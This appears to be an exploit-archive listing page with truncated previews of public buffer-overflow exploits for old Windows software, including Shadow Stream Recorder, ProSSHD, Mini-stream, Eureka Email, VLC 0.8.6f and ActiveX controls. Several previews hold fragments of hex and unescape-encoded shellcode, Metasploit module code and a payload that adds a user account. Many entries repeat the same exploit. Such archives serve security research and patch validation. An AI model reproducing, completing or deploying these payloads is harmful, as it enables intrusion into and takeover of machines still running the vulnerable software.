Shadow Stream Recorder 3.0.1.7 Buffer Overflow

!/usr/bin/python Title: Shadow Stream Recorder 3.0.1.7 .asx Local Buffer Overflow Date: 03-29-2010 Author: b0telh0 Link: http://www.rm-to-mp3.net/downloads/ssrecordersetup.exe Tested on: Windows XP SP3 windows/exec - 228 bytes EXITFUNC=seh, CMD=calc.exe shellcode =...

WM Downloader 3.0.0.9 - '.asx' Local Buffer Overflow

!/usr/bin/python Title: WM Downloader 3.0.0.9 .asx Local Buffer Overflow Date: 03-29-2010 Author: b0telh0 Tested on: Windows XP SP3 windows/exec - 227 bytes EXITFUNC=process, CMD=calc.exe shellcode = "\x29\xc9\xb1\x33\xda\xd3\xbd\x07\x4a\x9e\x37\xd9\x74\x24\xf4"...

Shadow Stream Recorder 3.0.1.7 (.asx) Local Buffer Overflow

Exploit for windows platform in category local exploits =========================================================== Shadow Stream Recorder 3.0.1.7 .asx Local Buffer Overflow =========================================================== !/usr/bin/python Title: Shadow Stream Recorder 3.0.1.7 .asx Loc...

Shadow Stream Recorder 3.0.1.7 - '.asx' Local Buffer Overflow

!/usr/bin/python Title: Shadow Stream Recorder 3.0.1.7 .asx Local Buffer Overflow Date: 03-29-2010 Author: b0telh0 Link: http://www.rm-to-mp3.net/downloads/ssrecordersetup.exe Tested on: Windows XP SP3 windows/exec - 228 bytes EXITFUNC=seh, CMD=calc.exe shellcode =...

ProSSHD Buffer Overflow

Exploit Title: ProSSHD buffer overflow Date: 2010.02.19 Author: S2 Crew Hungary Software Link: http://www.labtam-inc.com/ Version: 1.2 20090726 Tested on: Windows XP SP2 EN CVE: - Registers: EAX 000003E4 ECX 0012ED44 EDX 7C90EB94 ntdll.KiFastSystemCallRet EBX 00000674 ESP 0012EFC0 ASCII...

ProSSHD 1.2 20090726 - Remote Buffer Overflow

ProSSHD 1.2 20090726 - Remote Buffer Overflow Author: S2 Crew Hungary Tested on: Windows XP SP2 EN CVE: - Registers: EAX 000003E4 ECX 0012ED44 EDX 7C90EB94 ntdll.KiFastSystemCallRet EBX 00000674 ESP 0012EFC0 ASCII "BBBBBBBBBBBBBBBBBB..." EBP 0012F3DC ASCII "BBBBBBBBBBBBBBBBBB..." ESI 7C81DD9A...

Audiotran 1.4.1 Buffer Overflow

Exploit Title: Audiotran v1.4.1 direct RET BOF Date: 2010-1-16 Author: Jacky Software Link: http://www.e-soft.co.uk/Audiotran.htm Version: 1.4.1 Tested on: Windows XP SP2 CVE : if exists Code : Audiotran v1.4.1 Direct RET local BOF Vulnerability. Exploit Discovered by Sébastien Duquette Greetz to...

Audiotran v1.4.1 direct RET BOF

Exploit for unknown platform in category local exploits =============================== Audiotran v1.4.1 direct RET BOF =============================== Exploit Title: Audiotran v1.4.1 direct RET BOF Date: 2010-1-16 Author: Jacky Software Link: http://www.e-soft.co.uk/Audiotran.htm Version: 1.4.1...

Mini-stream Ripper (Windows XP SP2SP3) - Local Overflow

Mini-stream Ripper Windows XP SP2SP3 - Local Overflow !/usr/bin/python ...:| Code Fix/Patch for WinXP - English |:... Referenced: http://www.exploit-db.com/exploits/10745 - mrme and fixed the offset as well as tested the exploit against WinXP SP2 and SP3 Exploit against Mini-Stream 3.0.1.1 WinXP...

Mini-stream 3.0.1.1 - Local Buffer Overflow (Metasploit)

Mini-stream 3.0.1.1 - Local Buffer Overflow Metasploit $Id: ministream.rb 11516 2011-01-08 01:13:26Z jduck $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensi...

Mini-stream 3.0.1.1 - Local Buffer Overflow (Metasploit)

$Id: ministream.rb 11516 2011-01-08 01:13:26Z jduck $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/...

Mini-stream Ripper (Windows XP SP2/SP3) - Local Overflow

!/usr/bin/python ...:| Code Fix/Patch for WinXP - English |:... Referenced: http://www.exploit-db.com/exploits/10745 - mrme and fixed the offset as well as tested the exploit against WinXP SP2 and SP3 Exploit against Mini-Stream 3.0.1.1 WinXP English 12.27.2009 Author: Ron Henry -...

Mini-Stream Exploit for Windows XP SP2 and SP3

Exploit for unknown platform in category local exploits ============================================== Mini-Stream Exploit for Windows XP SP2 and SP3 ============================================== Title: Mini-Stream Exploit for Windows XP SP2 and SP3 CVE-ID: OSVDB-ID: Author: Ron Henry Published:...

Eureka Email 2.2q ERR Remote Buffer Overflow Exploit (meta)

No description provided by source. class Metasploit3 Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::TcpServer include Msf::Exploit::Egghunter def initializeinfo = superupdateinfoinfo, 'Name' = 'Eureka Email 2.2q ERR Remote Buffer Overflow Exploit', 'Description' = %q This...

Windows ANI LoadAniIcon() Chunk Size Stack Overflow (SMTP)

$Id$ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require 'msf/core' class Metasploit3 'Windows ANI...

EMC Captiva QuickScan Pro 4.6 SP1 and EMC Documentum ApllicationXtender Desktop 5.4 (keyhelp.ocx 1.2.312) - Remote Overflow

//executing calc scode = unescape"%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49" & unescape"%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36" & unescape"%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34" & unescape"%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41" &...

Oracle Document Capture BlackIce Stack Buffer Overflow

var devmode = new ActiveXObject"BLACKICEDEVMODE.BlackIceDEVMODECtrl.1"; //user add, user: sun pass: tzu scode = unescape "%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949" + "%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a" + "%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241" +...

VLC 0.8.6f smb:// Buffer Overflow

/ VLC Media Player 'smb://' URI Handling Remote Buffer Overflow Vulnerability Exploit Reference: http://www.securityfocus.com/bid/35500 Tested on VLC media player 0.8.6f on WinXP SP3 Coded by Pankaj Kohli http://www.pank4j.com / include include // ASCII shellcode Display a message box & exit...

VideoLAN VLC Media Player 0.8.6f - smb: URI Handling Remote Buffer Overflow

VideoLAN VLC Media Player 0.8.6f - smb: URI Handling Remote Buffer Overflow / VLC Media Player 'smb://' URI Handling Remote Buffer Overflow Vulnerability Exploit Reference: https://www.securityfocus.com/bid/35500 Tested on VLC media player 0.8.6f on WinXP SP3 Coded by Pankaj Kohli...

VideoLAN VLC Media Player 0.8.6f - 'smb://' URI Handling Remote Buffer Overflow

/ VLC Media Player 'smb://' URI Handling Remote Buffer Overflow Vulnerability Exploit Reference: https://www.securityfocus.com/bid/35500 Tested on VLC media player 0.8.6f on WinXP SP3 Coded by Pankaj Kohli http://www.pank4j.com / include include // ASCII shellcode Display a message box & exit...